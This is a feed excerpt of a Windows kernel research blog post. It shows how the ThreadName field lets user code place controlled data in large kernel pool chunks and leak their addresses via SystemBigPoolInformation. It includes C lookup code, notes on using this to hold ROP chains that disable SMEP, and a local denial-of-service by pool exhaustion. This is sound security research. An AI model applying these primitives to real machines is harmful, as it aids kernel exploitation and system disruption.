        <content type="html" xml:base="https://blahcat.github.io/2019-03-17-small-dumps-in-the-big-pool/">&lt;p&gt;Or, on how to use the (Windows 10) new field &lt;code&gt;_ETHREAD.ThreadName&lt;&#x2F;code&gt; to stabilize kernel RW primitives&lt;&#x2F;p&gt;
&lt;h2 id=&quot;setthreaddescription-as-a-way-to-allocate-controlled-kernel-pools&quot;&gt;SetThreadDescription() as a way to allocate controlled kernel pools&lt;&#x2F;h2&gt;
&lt;p&gt;Keeping on with experimenting with Windows 10 I noticed a field part of the &lt;code&gt;nt!_ETHREAD&lt;&#x2F;code&gt; structure, called &lt;code&gt;ThreadName&lt;&#x2F;code&gt;. For a minute, the field name misled me to think threads were now &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;desktop&#x2F;sync&#x2F;object-names&quot;&gt;Named Objects&lt;&#x2F;a&gt; on Windows. What it is instead, is a convenient and native way to name a thread, any thread by attaching a &lt;code&gt;UNICODE_STRING&lt;&#x2F;code&gt; structure to it. Thanks to &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;PetrBenes&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@PetrBenes&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
’s invaluable &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ntdiff.github.io&#x2F;&quot;&gt;&lt;code&gt;ntdiff&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; it became clear that this field was introduced with Windows 10, more specifically 1607.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;ntdiff.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;ntdiff.png&quot;

    

    
    title=&quot;ntdiff&quot;
    alt=&quot;ntdiff&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ntdiff.github.io&#x2F;#versionLeft=Win8.1_U1%2Fx64%2FSystem32&amp;amp;filenameLeft=ntoskrnl.exe&amp;amp;typeLeft=Standalone%2F_ETHREAD&amp;amp;versionRight=Win10_1607_RS1%2Fx64%2FSystem32&amp;amp;filenameRight=ntoskrnl.exe&amp;amp;typeRight=Standalone%2F_ETHREAD&quot;&gt;Source&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So how to use it? Is it even reachable? The answer was as immediate as &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;google.com&#x2F;search?q=windows+10+set+thread+name&quot;&gt;Googling “windows set thread name”&lt;&#x2F;a&gt; which leads to an &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;visualstudio&#x2F;debugger&#x2F;how-to-set-a-thread-name-in-native-code?view=vs-2017&quot;&gt;MSDN article&lt;&#x2F;a&gt;. This article mentions the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;desktop&#x2F;api&#x2F;processthreadsapi&#x2F;nf-processthreadsapi-setthreaddescription&quot;&gt;&lt;code&gt;SetThreadDescription()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; in &lt;code&gt;processthreadsapi.h&lt;&#x2F;code&gt;. Disassembling &lt;code&gt;kernelbase.dll&lt;&#x2F;code&gt; shows that this function is merely a wrapper around the syscall &lt;code&gt;NtSetInformationThread()&lt;&#x2F;code&gt; with a &lt;code&gt;ThreadInformationClass&lt;&#x2F;code&gt; set to 0x26 (&lt;code&gt;ThreadNameInformation&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;ida-setthreaddescription.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;ida-setthreaddescription.png&quot;

    

    
    title=&quot;ida-setthreaddescription&quot;
    alt=&quot;ida-setthreaddescription&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Once in &lt;code&gt;ntoskrnl&lt;&#x2F;code&gt; (IDA), the syscall performs various checks (is the &lt;code&gt;_ETHREAD.ThreadName&lt;&#x2F;code&gt; already allocated, is the input size and buffer correct etc.), and then call &lt;code&gt;ExAllocatePoolWithTag()&lt;&#x2F;code&gt; with a tag of &lt;code&gt;ThNm&lt;&#x2F;code&gt; and as &lt;code&gt;NonPagedPoolNx&lt;&#x2F;code&gt;, and the size provided by the &lt;code&gt;UNICODE_STRING&lt;&#x2F;code&gt; structure, plus &lt;code&gt;sizeof(UNICODE_STRING)&lt;&#x2F;code&gt;. Finally, the user buffer will be &lt;code&gt;memmove&lt;&#x2F;code&gt;-ed into this new pool.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;ntsetinformationthread-1.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;ntsetinformationthread-1.png&quot;

    

    
    title=&quot;ntsetinformationthread-1&quot;
    alt=&quot;ntsetinformationthread-1&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Since the unicode buffer and its size are fully user controlled, this means that the syscall &lt;code&gt;NtSetInformationThread(0x26)&lt;&#x2F;code&gt; provides a way to allocate an arbitrary sized pool in the kernel, for each thread we create and&#x2F;or can open a handle to via &lt;code&gt;OpenThread()&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;The code was tested on Windows 10 RS5 x64. To work on 32b one might need to adjust the offsets. Also Windows must be at least 1607.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;The following code is enough to populate the &lt;code&gt;_ETHREAD.ThreadName&lt;&#x2F;code&gt; of a designed thread:&lt;&#x2F;p&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;8df0843e8556f557308cd014fec0fda3.js&quot;&gt;&lt;&#x2F;script&gt;
&lt;p&gt;The acute observer may notice that only &lt;code&gt;THREAD_SET_LIMITED_INFORMATION&lt;&#x2F;code&gt; class information is used. Therefore setting thread name with &lt;code&gt;ThreadNameInformation&lt;&#x2F;code&gt; is an operation that is not considered privileged and should work very reliably, just like &lt;code&gt;THREAD_QUERY_LIMITED_INFORMATION&lt;&#x2F;code&gt; to retrieve the thread name.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;setthreadname-1.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;setthreadname-1.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;From WinDbg, the &lt;code&gt;!poolfind&lt;&#x2F;code&gt; command can be used to filter by tag name, in this case &lt;code&gt;ThNm&lt;&#x2F;code&gt; (0x6d4e6854), or query &lt;code&gt;!pool&lt;&#x2F;code&gt; with the address from the field &lt;code&gt;_ETHREAD!ThreadName&lt;&#x2F;code&gt;. This confirms that we fully control the content and size of pools. To be in the large pool, the chunk must be of at least 0x1000 bytes, making the minimum actual pool data size of 0x1000-0x10 bytes (for the header). And for the maxiumum allocatable size, during this experiment it was shown possible to allocate thread name up to 0xfff0 bytes (65520):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;C:\Users\IEUser\Desktop&amp;gt;pslist -nobanner -d notepad
&lt;&#x2F;span&gt;&lt;span&gt;Thread detail for MSEDGEWIN10:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;notepad 6828:
&lt;&#x2F;span&gt;&lt;span&gt; Tid Pri    Cswtch            State     User Time   Kernel Time   Elapsed Time
&lt;&#x2F;span&gt;&lt;span&gt;5488  10     28743     Wait:UserReq  0:00:00.093   0:00:00.609   85:44:03.789
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;C:\Users\IEUser\Desktop&amp;gt;AllocateLargePool.exe 5488 65520
&lt;&#x2F;span&gt;&lt;span&gt;tid=5488
&lt;&#x2F;span&gt;&lt;span&gt;data stored at FFFFDD07B6F8C010
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;setthreadname-2.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;setthreadname-2.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Which makes sense, since larger size would overflow the &lt;code&gt;Length&lt;&#x2F;code&gt; field of the &lt;code&gt;UNICODE_STRING&lt;&#x2F;code&gt; (i.e. &lt;code&gt;sizeof(WORD)&lt;&#x2F;code&gt;), which is checked during the &lt;code&gt;NtSetInformationThread(ThreadNameInformation)&lt;&#x2F;code&gt; syscall.&lt;&#x2F;p&gt;
&lt;p&gt;We have a reliable way to write from userland a large pool chunk and predict accurately its location in the kernel. Additionally the allocation operation is done per-thread, meaning that for more space it is possible to create more threads (&lt;code&gt;CreateThread()&lt;&#x2F;code&gt; locally or &lt;code&gt;OpenProcess()&lt;&#x2F;code&gt; + &lt;code&gt;CreateRemoteThread()&lt;&#x2F;code&gt; remotely).&lt;&#x2F;p&gt;
&lt;p&gt;Ok cool, but so what?&lt;&#x2F;p&gt;
&lt;h2 id=&quot;leverage-as-exploit-primitive&quot;&gt;Leverage as exploit primitive&lt;&#x2F;h2&gt;
&lt;p&gt;Although there’s no vulnerability there, one could use this technique to dump some data in the kernel in a vulnerability exploitation scenario such as an arbitrary write. One possible use case would be to store the addresses of a ROP sequence to disable SMEP. However, to achieve this the attacker must know the address where this pool in the kernel. Luckily we found the answer in the kernel “Large Pool” allocator. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.crowdstrike.com&#x2F;blog&#x2F;sheep-year-kernel-heap-fengshui-spraying-big-kids-pool&#x2F;&quot;&gt;Former analysis on the big pool allocator&lt;&#x2F;a&gt; have shown some interesting properties, but what makes it perfect is the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;desktop&#x2F;api&#x2F;winternl&#x2F;nf-winternl-ntquerysysteminformation&quot;&gt;&lt;code&gt;NtQuerySystemInformation()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; syscall with the undocumented &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.geoffchappell.com&#x2F;studies&#x2F;windows&#x2F;km&#x2F;ntoskrnl&#x2F;api&#x2F;ex&#x2F;sysinfo&#x2F;bigpool_entry.htm&quot;&gt;&lt;code&gt;SystemBigPoolInformation&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;(0x42) as class information, which provides &lt;strong&gt;exactly&lt;&#x2F;strong&gt; what we were looking for: the enumeration of all large pools with their kernel addresses, their size, and their tag.&lt;&#x2F;p&gt;
&lt;p&gt;This is enough to dump such information:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span&gt;SystemBigPoolInformation &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x42
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;DWORD dwBufSize = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;DWORD dwOutSize;
&lt;&#x2F;span&gt;&lt;span&gt;LPVOID pBuffer = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;LocalAlloc&lt;&#x2F;span&gt;&lt;span&gt;(LPTR, dwBufSize);
&lt;&#x2F;span&gt;&lt;span&gt;HRESULT hRes = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NtQuerySystemInformation&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;  SystemBigPoolInformation,
&lt;&#x2F;span&gt;&lt;span&gt;  pBuffer,
&lt;&#x2F;span&gt;&lt;span&gt;  dwBufSize,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;amp;dwOutSize
&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If large enough the buffer &lt;code&gt;pBuffer&lt;&#x2F;code&gt; will be populated by the kernel by &lt;code&gt;N&lt;&#x2F;code&gt; entries of &lt;code&gt;SYSTEM_BIGPOOL_ENTRY&lt;&#x2F;code&gt; structured as follow:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0x00 NumberOfEntries
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Entry0
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  0x08 ULONG_PTR Entry0.Address
&lt;&#x2F;span&gt;&lt;span&gt;  0x10 DWORD Entry0.PoolSize
&lt;&#x2F;span&gt;&lt;span&gt;  0x18 DWORD Entry0.PoolTag
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Entry1
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  0x20 Entry1.Address
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which becomes trivial to parse to get the thread kernel address, simply by looking up for the entry that would match the condition &lt;code&gt;strncmp( info-&amp;gt;PoolTag, &quot;ThNm&quot;, 4)==0&lt;&#x2F;code&gt;. In the case of multi-threaded process with many ThreadName entries, it is possible to refine the search by using the size as a secondary search index:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;typedef struct
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  DWORD64 Address;
&lt;&#x2F;span&gt;&lt;span&gt;  DWORD64 PoolSize;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; PoolTag[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; Padding[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;BIG_POOL_INFO, *PBIG_POOL_INFO;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;ULONG_PTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;LookForThreadNamePoolAddress&lt;&#x2F;span&gt;&lt;span&gt;(PVOID &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pSystemBigPoolInfoBuffer&lt;&#x2F;span&gt;&lt;span&gt;, DWORD64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dwExpectedSize&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  ULONG_PTR StartAddress = (ULONG_PTR)pSystemBigPoolInfoBuffer;
&lt;&#x2F;span&gt;&lt;span&gt;  ULONG_PTR EndAddress = StartAddress + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8 &lt;&#x2F;span&gt;&lt;span&gt;+ *( (PDWORD)StartAddress ) * sizeof(BIG_POOL_INFO);
&lt;&#x2F;span&gt;&lt;span&gt;  ULONG_PTR ptr = StartAddress + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span&gt;(ptr &amp;lt; EndAddress)
&lt;&#x2F;span&gt;&lt;span&gt;  {
&lt;&#x2F;span&gt;&lt;span&gt;    PBIG_POOL_INFO info = (PBIG_POOL_INFO) ptr;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;printf(&amp;quot;Name:%s Size:%llx Address:%llx\n&amp;quot;, info-&amp;gt;PoolTag, info-&amp;gt;PoolSize, info-&amp;gt;Address);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;strncmp&lt;&#x2F;span&gt;&lt;span&gt;( info-&amp;gt;PoolTag, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ThNm&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;)==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span&gt;&amp;amp;&amp;amp; dwExpectedSize==info-&amp;gt;PoolSize )
&lt;&#x2F;span&gt;&lt;span&gt;    {
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;(((ULONG_PTR)info-&amp;gt;Address) &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffffffffffffff0&lt;&#x2F;span&gt;&lt;span&gt;) + sizeof(UNICODE_STRING);
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    ptr += sizeof(BIG_POOL_INFO);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That’s pretty much it. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;d89c6ee771a4decfdf4f088998d60d19&quot;&gt;Put it all together&lt;&#x2F;a&gt; and you get:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span&gt;z:\&amp;gt; AllocateLargePool.exe &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;26948 4096
&lt;&#x2F;span&gt;&lt;span&gt;[*] Target TID=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;26948
&lt;&#x2F;span&gt;&lt;span&gt;[+] Data from buffer 000001BCD71A0000 (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt; bytes) written &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;at&lt;&#x2F;span&gt;&lt;span&gt; FFFFD8001E966010
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Some more advanced feng-shui can be achieved using &lt;code&gt;NtSetInformationThread(ThreadNameInformation)&lt;&#x2F;code&gt; which will be covered in a later post. Although convenient and really stealth, this technique is not bullet-proof since the syscall (if successful) is logged and may be exposed with ETW (see &lt;code&gt;nt!EtwTraceThreadSetName&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;What about local DoS? Well yes, it is a pretty simple to destabilize the system by resource exhaustion by creating a loop of &lt;code&gt;CreateThread()&lt;&#x2F;code&gt; + &lt;code&gt;AllocateBigPool($newThread)&lt;&#x2F;code&gt;: since it is possible to make each thread of a process allocate a chunk of 0x10000 bytes, simple math will show that creating a somewhat acceptable number of threads, say 0x1000 will bring the total allocation to 0x10000000 bytes (268MB). Not only can the number of threads per process be increased, but the same process can be launched many times. As mentioned earlier, the &lt;code&gt;_ETHREAD!ThreadName&lt;&#x2F;code&gt; field is allocated as &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;desktop&#x2F;memory&#x2F;memory-pools&quot;&gt;&lt;code&gt;NonPagedPoolNx&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; so all those chunks will never be paged out or freed until the thread (or process) is finished&#x2F;terminated. Although this DoS is pretty dummy and useless, the only annoying part is that it can be triggered by even low integrity&#x2F;privilege processes. Running &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;a94392e6aeaf87335d06d06a0c05ff96&quot;&gt;it&lt;&#x2F;a&gt; leads to an interesting scenario of memory pressure where the CPUs are not used but the system is unusable since pool allocation request will fail.&lt;&#x2F;p&gt;
&lt;p&gt;As a side note, on my test VM (Windows 10 RS5 with 2 vCpus and 2GB of RAM), I could force a process to spawn ~0xb900 threads before the system became unusable.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;dos-1.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;small-pool&amp;#x2F;dos-1.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h2 id=&quot;final-words&quot;&gt;Final words&lt;&#x2F;h2&gt;
&lt;p&gt;This post has shown that the apparently innocent new field &lt;code&gt;_ETHREAD.ThreadName&lt;&#x2F;code&gt; that appeared in Windows 1607 can be subverted to do a lot more than intended. But that’s definitely not all, some more esoteric (&lt;em&gt;cough&lt;&#x2F;em&gt; malware) could use this for stealth data persistence, or even covert channel (writing a tiny chat application based on the code above was fairly simple, and is left as an exercise to the reader). The thread name pool stays reachable in memory either until the thread is terminated, or another call to &lt;code&gt;NtSetInformationThread(ThreadNameInformation)&lt;&#x2F;code&gt; is done to this thread. This is convenient because some threads should unlikely die during the time of a session making such nice syscall a good place for hiding &lt;em&gt;stuff&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;That’s it for this little daily experiment.
Until next time, cheers ☕️&lt;&#x2F;p&gt;
&lt;h3 id=&quot;some-links-for-further-reading&quot;&gt;Some links for further reading&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20150419185055&#x2F;https:&#x2F;&#x2F;media.blackhat.com&#x2F;bh-dc-11&#x2F;Mandt&#x2F;BlackHat_DC_2011_Mandt_kernelpool-wp.pdf&quot;&gt;BlackHat DC 2011 - Mandt - Kernel Pool exploitation&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;j00ru.vexillium.org&#x2F;2018&#x2F;07&#x2F;exploiting-a-windows-10-pagedpool-off-by-one&#x2F;&quot;&gt;Exploiting a Windows 10 PagedPool off-by-one&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.crowdstrike.com&#x2F;blog&#x2F;sheep-year-kernel-heap-fengshui-spraying-big-kids-pool&#x2F;&quot;&gt;Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Scripting with Windows Root Directory Object</title>
        <published>2019-01-30T00:00:00+00:00</published>
        <updated>2019-01-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2019-01-30-playing-with-windows-root-directory-object/"/>
        <id>https://blahcat.github.io/2019-01-30-playing-with-windows-root-directory-object/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2019-01-30-playing-with-windows-root-directory-object/">&lt;p&gt;Still on my way to learning of Windows kernel, I spend considerable amount of time on &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;debugger&#x2F;debugging-using-windbg-preview&quot;&gt;WinDbg Preview&lt;&#x2F;a&gt;. I’ve been &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;windbg_js_scripts&quot;&gt;scripting my way&lt;&#x2F;a&gt; to understand its components, the last in date was &lt;code&gt;nt!ObpRootDirectoryObject&lt;&#x2F;code&gt;. This pointer is well documented, especially &lt;a class=&quot;fab 